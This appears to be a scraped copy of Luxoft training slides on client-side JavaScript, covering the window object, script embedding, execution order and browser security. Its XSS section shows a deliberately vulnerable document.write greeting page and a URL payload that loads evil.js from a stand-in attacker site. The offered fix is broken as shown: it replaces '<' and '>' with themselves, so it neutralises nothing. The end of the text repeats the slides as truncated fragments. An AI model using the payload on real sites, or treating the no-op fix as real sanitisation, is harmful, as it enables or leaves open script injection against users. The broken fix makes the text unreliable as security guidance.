Web-007 Javascript: © Luxoft Training. All Rights Reserved

WEB-007 JavaScript
ver. 1.0
http://www.luxoft-training.ru/
© Luxoft Training. All rights reserved
WEB-007 JavaScript
JavaScript in Web browser
ver. 1.0
• JavaScript role in Web
• window object as a global context
• Embedding JavaScript into HTML
• Execution of JavaScript Programs
• JavaScript Security
JavaScript role in Web
• JavaScript is used in web browsers is usually called a client-side

JavaScript
• According to modern approaches, HTML defines the content and

structure of data, CSS (Cascade Style Sheet) defines the visual
representation of data
• JavaScript is the scripting language that used to add behaviour to web

pages
JavaScript role in Web
• JavaScript allows you to control:
• browser window, browser history, etc
• DOM (document)
• events
• forms
• web interaction (AJAX)
window object as a global context
• Any implementation of JavaScript has a global object
• For client-side JavaScript, the global object is Window object
• The Window object is the main entry point to all client-side JavaScript
features and APIs
• It represents a web browser window or frame, and you can refer to it

with the identifier window
• One of the most important properties of the Window object is document:

it refers to a Document object that represents the content displayed in
the window
window object as a global context
• The Window object is at the top of the scope chain and that its
properties and methods are effectively global variables and global
functions
// these two declarations are equivalent
var answer = 42;
window.answer = 42;
Embedding JavaScript into HTML
• Client-side JavaScript code is embedded within HTML documents in

four ways:
• Inline, between a pair of <script> and </script> tags
• From an external file specified by the src attribute of a <script> tag
• In an HTML event handler attribute, such as onclick or onmouseover
• In a URL that uses the special javascript: protocol
• JavaScript code can appear inline within an HTML file between <script>
and </script> tags
<script>
// Your JavaScript code goes here
</script>
• In XHTML, the content of a <script> element is treated like any other

content. It is best to put all JavaScript code within a CDATA section if
you are using XHTML
<script><![CDATA[
// Your JavaScript code goes here
]]></script>
• The <script> tag supports a src attribute that specifies the URL of a file
containing JavaScript code
<script src="../../scripts/util.js"></script>
• A JavaScript file contains pure JavaScript, without <script> tags or any

other HTML
• By convention, files of JavaScript code have names that end with .js
• The closing </script> tag is required in HTML documents even when

the src attribute is specified, and there is no content between the
<script> and </script> tags
• There are a number of advantages to using the src attribute:
• It simplifies your HTML files by allowing you to remove large blocks of
JavaScript code from them—that is, it helps keep content and behavior
separate
• Using the src attribute allows you to maintain only a single copy of that code
• It only needs to be downloaded once, by the first page that uses it—
subsequent pages can retrieve it from the browser cache
• A JavaScript program or web page from one web server can employ code
exported by other web servers. Much Internet advertising relies on this fact
• The ability to load scripts from other sites allows us to take the benefits of
caching a step further: Google is promoting the use of standard well-known
URLs for the most commonly used client-side libraries, allowing the browser
to cache a single copy for shared use by any site across the Web
• JavaScript was the original scripting language for the Web and <script>
elements are, by default, assumed to contain or to reference JavaScript
code
• You can use a nonstandard scripting language, such as Microsoft’s

VBScript (which is supported by IE only)
<script type="text/vbscript">
' VBScript code goes here
</script>
• The default value of the type attribute is “text/javascript”
• Older browsers used a language attribute on the <script> tag instead of

the type attribute. The language attribute is deprecated and should no
longer be used
• In order to be interactive, a JavaScript program must define event

handlers—JavaScript functions that are registered with the web
browser and then invoked by the web browser in response to events
(such as user input)
• JavaScript code can register an event handler by assigning a function

to a property (such as onclick or onmouseover) of an Element object
that represents an HTML element in the document
<input type="checkbox" name="options" value="giftwrap"
onchange="order.options.giftwrap = this.checked;">
• Event handler attributes defined in HTML may include any number of

JavaScript statements, separated from each other by semicolons
• Typically an HTML event handler attribute consists of a simple

assignment or a simple invocation of a function defined elsewhere
• The commonly used handlers:
• onclick
• onmousedown, onmouseup
• onmouseover, onmouseout
• onchange
• onload
• JavaScript code can be included on the client side is in a URL following

the javascript: protocol specifier
• The “resource” identified by a javascript: URL is the return value of the

executed code, converted to a string. If the code has an undefined
return value, the resource has no content
• You can use a javascript: URL anywhere you’d use a regular URL
<a href="javascript:new Date().toLocaleTimeString();">
What time is it?
</a>
• If you want to ensure that a javascript: URL does not overwrite the
document, you can use the void operator to force an invocation or
assignment expression to be undefined
<a href="javascript:window.open('about:blank'); void 0;">
Open Window
</a>
• Without the void operator in this URL, the return value of the
Window.open() method call would be converted to a string and
displayed, and the current document would be overwritten by a
document that contains [object Window]
Execution of JavaScript Programs
• There is no formal definition of a program in client-side JavaScript
• A JavaScript program consists of all the JavaScript code in a web page

(inline scripts, HTML event handlers, and javascript: URLs) along with
external JavaScript code referenced with the src attribute of a <script>
tag
• All of these separate bits of code share a single global Window object
• They all see the same Document object, and they share the same set
of global functions and variables
• If a script defines a new global variable or function, that variable or

function will be visible to any JavaScript code that runs after the script
does
• JavaScript program execution occurs in two phases:
• The document content is loaded and the code from <script> elements
(both inline scripts and external scripts) is run
• The second phases is asynchronous and event-driven
• When all such finishes loading the document.readyState property

changes to “complete” and the web browser fires a load event on the
Window object
• onload handler can be added as an attribute of the <body> tag or via

CSS
• After that phase document.write() will be rewrite the document

completely
• The unload event is raised when the window is unloading its content
and resources. The resources removal is processed after the unload
event occurs
• The unload event can be used for cleaning up and releasing resources
• The core JavaScript language does not contain any threading mechanism,
and client-side JavaScript has traditionally not defined any either
• Single-threaded execution makes for much simpler scripting: you can write
code with the assurance that two event handlers will never run at the same
time
• You can manipulate document content knowing that no other thread is

attempting to modify it at the same time, and you never need to worry
about locks, deadlock, or race conditions when writing JavaScript code
• Single-threaded execution means that web browsers must stop responding

to user input while scripts and event handlers are executing
• JavaScript scripts and event handlers must not run for too long
JavaScript Security
• The introduction of JavaScript interpreters into web browsers means

that loading a web page can cause arbitrary JavaScript code to be
executed on your computer
• Web browsers’ first line of defense against malicious code is that they
simply do not support certain capabilities
• Client-side JavaScript does not provide any way to write or delete

arbitrary files or list arbitrary directories on the client computer
• Client-side JavaScript does not have any general-purpose networking

capabilities. General-purpose Internet clients and servers cannot be
written in client-side JavaScript
JavaScript Security
• Browsers’ second line of defense against malicious code is that they
impose restrictions on the use of certain features that they do support. The
following are some restricted features:
• A JavaScript program can open new browser windows, but, to prevent pop-
up abuse by advertisers, most browsers restrict this feature so that it can
happen only in response to a user-initiated event, such as a mouse click
• A JavaScript program can close browser windows that it opened itself, but it
is not allowed to close other windows without user confirmation
• The value property of HTML FileUpload elements cannot be set
• A script cannot read the content of documents loaded from different servers
than the document that contains the script. Similarly, a script cannot register
event listeners on documents from different servers. This restriction is known
as the same-origin policy
JavaScript Security
• In many web browsers, JavaScript is used as a “script engine” for

ActiveX controls (in IE) or plug-ins (other browsers). The Flash and
Java plug-ins are commonly installed examples, and they expose
important and powerful features to client-side scripts
• The basic problem is, if plug-ins are scriptable, you must trust not just
the web browser’s security architecture, but also the plug-in’s security
architecture
• In practice, the Java and Flash plug-ins seem to have robust security
and they are actively maintained and updated when security holes are
discovered. ActiveX scripting has had a more checkered past
JavaScript Security
• In practice, the Java and Flash plug-ins seem to have robust security
and they are actively maintained and updated when security holes are
discovered. ActiveX scripting has had a more checkered past
• The IE browser has access to a variety of scriptable ActiveX controls

that are part of the Windows operating system, and in the past some of
these scriptable controls have included exploitable security holes
JavaScript Security
• Cross-site scripting, or XSS, is a term for a category of security issues

in which an attacker injects HTML tags or scripts into a target website
• Defending against XSS attacks is typically the job of server-side web

developers
• Client-side JavaScript programmers must also be aware of, and defend

against, cross-site scripting
JavaScript Security
<script>
var name = decodeURIComponent(window.location.search.substring(1)) || "";
document.write("Hello " + name);
</script>
This page is intended to be invoked with a URL like this:
http://www.example.com/greet.html?David
When used like this, it displays the text “Hello David”.
But consider what happens when it is invoked with this URL:
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
The script evil.js is hosted by the evil site B, but it is now embedded in site
A, and it can do absolutely anything it wants with site A’s content.
JavaScript Security
• You can fix the greet.html file shown earlier by adding this line of code
to remove the angle brackets around <script> tags:
name = name.replace(/</g, "<").replace(/>/g, ">");
• Cross-site scripting is a pernicious vulnerability whose roots go deep

into the architecture of the Web. There are many online resources to
help you defend against cross-site scripting. One important primary
source is the original CERT Advisory about this problem:
http://www.cert.org/advisories/CA-2000-02.html
• JavaScript role in Web
• window object as a global context
• Embedding JavaScript into HTML
• Execution of JavaScript Programs
• JavaScript Security

Web-007 Javascript: © Luxoft Training. All Rights Reserved

Caricato da

Informazioni sul documento

Titolo originale

Copyright

Formati disponibili

Condividi questo documento

Condividi o incorpora il documento

Opzioni di condivisione

Hai trovato utile questo documento?

Questo contenuto è inappropriato?

Copyright:

Formati disponibili

Web-007 Javascript: © Luxoft Training. All Rights Reserved

Caricato da

Copyright:

Formati disponibili

WEB-007 JavaScript

JavaScript in Web browser

• JavaScript role in Web

• window object as a global context

• Embedding JavaScript into HTML

• Execution of JavaScript Programs

• JavaScript is used in web browsers is usually called a client-side

• According to modern approaches, HTML defines the content and

• JavaScript is the scripting language that used to add behaviour to web

• JavaScript allows you to control:

• browser window, browser history, etc

• web interaction (AJAX)

• Any implementation of JavaScript has a global object

• For client-side JavaScript, the global object is Window object

• It represents a web browser window or frame, and you can refer to it

• One of the most important properties of the Window object is document:

• Client-side JavaScript code is embedded within HTML documents in

• Inline, between a pair of <script> and </script> tags

• From an external file specified by the src attribute of a <script> tag

• In an HTML event handler attribute, such as onclick or onmouseover

• In a URL that uses the special javascript: protocol

• In XHTML, the content of a <script> element is treated like any other

• A JavaScript file contains pure JavaScript, without <script> tags or any

• The closing </script> tag is required in HTML documents even when

• You can use a nonstandard scripting language, such as Microsoft’s

• The default value of the type attribute is “text/javascript”

• Older browsers used a language attribute on the <script> tag instead of

• In order to be interactive, a JavaScript program must define event

• JavaScript code can register an event handler by assigning a function

• Event handler attributes defined in HTML may include any number of

• Typically an HTML event handler attribute consists of a simple

• The commonly used handlers:

• JavaScript code can be included on the client side is in a URL following

• The “resource” identified by a javascript: URL is the return value of the

• A JavaScript program consists of all the JavaScript code in a web page

• If a script defines a new global variable or function, that variable or

• The second phases is asynchronous and event-driven

• When all such finishes loading the document.readyState property

• onload handler can be added as an attribute of the <body> tag or via

• After that phase document.write() will be rewrite the document

• You can manipulate document content knowing that no other thread is

• Single-threaded execution means that web browsers must stop responding

• The introduction of JavaScript interpreters into web browsers means

• Client-side JavaScript does not provide any way to write or delete

• Client-side JavaScript does not have any general-purpose networking

• The value property of HTML FileUpload elements cannot be set

• In many web browsers, JavaScript is used as a “script engine” for

• The IE browser has access to a variety of scriptable ActiveX controls

• Cross-site scripting, or XSS, is a term for a category of security issues

• Defending against XSS attacks is typically the job of server-side web

• Client-side JavaScript programmers must also be aware of, and defend

This page is intended to be invoked with a URL like this:

When used like this, it displays the text “Hello David”.

But consider what happens when it is invoked with this URL:

• Cross-site scripting is a pernicious vulnerability whose roots go deep

• JavaScript role in Web

• window object as a global context

• Embedding JavaScript into HTML

• Execution of JavaScript Programs

Potrebbero piacerti anche